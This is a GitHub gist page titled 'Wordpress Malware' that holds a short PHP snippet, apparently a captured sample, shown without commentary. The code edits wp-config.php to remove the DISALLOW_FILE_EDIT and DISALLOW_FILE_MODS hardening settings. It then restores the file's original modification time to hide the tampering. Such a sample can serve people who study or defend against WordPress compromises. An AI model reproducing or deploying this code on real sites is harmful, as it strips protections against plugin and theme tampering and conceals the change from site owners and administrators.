Skip to content

Instantly share code, notes, and snippets.

@phpfour
Created October 25, 2019 15:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save phpfour/09076242789b32f49629a9eda0a686cf to your computer and use it in GitHub Desktop.
Save phpfour/09076242789b32f49629a9eda0a686cf to your computer and use it in GitHub Desktop.
Wordpress Malware
<?php
$str = file_get_contents("../../wp-config.php");
$str = str_replace("define('DISALLOW_FILE_EDIT', true);","",$str);
$str = str_replace("define('DISALLOW_FILE_MODS', true);","",$str);
$ftime1 = filemtime("../../wp-config.php");
file_put_contents("../../wp-config.php", $str);
touch("../../wp-config.php", $ftime1, $ftime1);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment